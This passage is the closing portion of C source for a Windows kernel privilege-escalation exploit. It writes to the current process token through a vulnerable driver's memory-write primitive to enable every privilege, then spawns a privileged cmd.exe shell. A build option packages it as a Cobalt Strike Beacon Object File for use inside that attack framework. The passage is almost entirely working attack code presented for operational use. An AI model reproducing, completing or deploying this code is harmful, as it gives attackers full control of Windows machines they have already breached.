write_mem('q', currentToken + 0x48, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Enabled
write_mem('q', currentToken + 0x40, 0x0000001ff2ffffbc, DRIVER_DEVICE_SYMBOLIC_LINK, NTOSKRNL_BASE, OFFSET_TEST_SPIN_LOCK, OFFSET_WRITE_BYTE, OFFSET_SPIN_LOCK); //TOKEN->_SEP_TOKEN_PRIVILEGES->Present
PRINT("Writer thread(s) have been created. Sleeping for 6 seconds...");
Sleep(6000);
#ifndef BOF
PRINT("Finished. Spawning a privileged shell.");
system("cmd.exe");
#else
PRINT("Finished. You've acquired all high privileges.");
#endif
CLEANUP:
if (allocatedBaseAddress != NULL) VirtualFree(allocatedBaseAddress, 4096 * 8, MEM_RELEASE);
}
#ifdef BOF
/**
* CS BOF entry point.
*
* The Cobalt Strike (CS) Beacon Object File (BOF) entry point.
*
* @param char* args The array of arguments.
* @param int length The length of the array of arguments.
*/
VOID go(IN PCHAR Args, IN ULONG Length) {
boot();
}
#else
/**
* Test the kernel exploit & elavation code
*
* @param int argc Amount of arguments in argv.
* @param char** Array of arguments passed to the program.
*/
void main(int argc, char** argv) {
boot();
}
#endif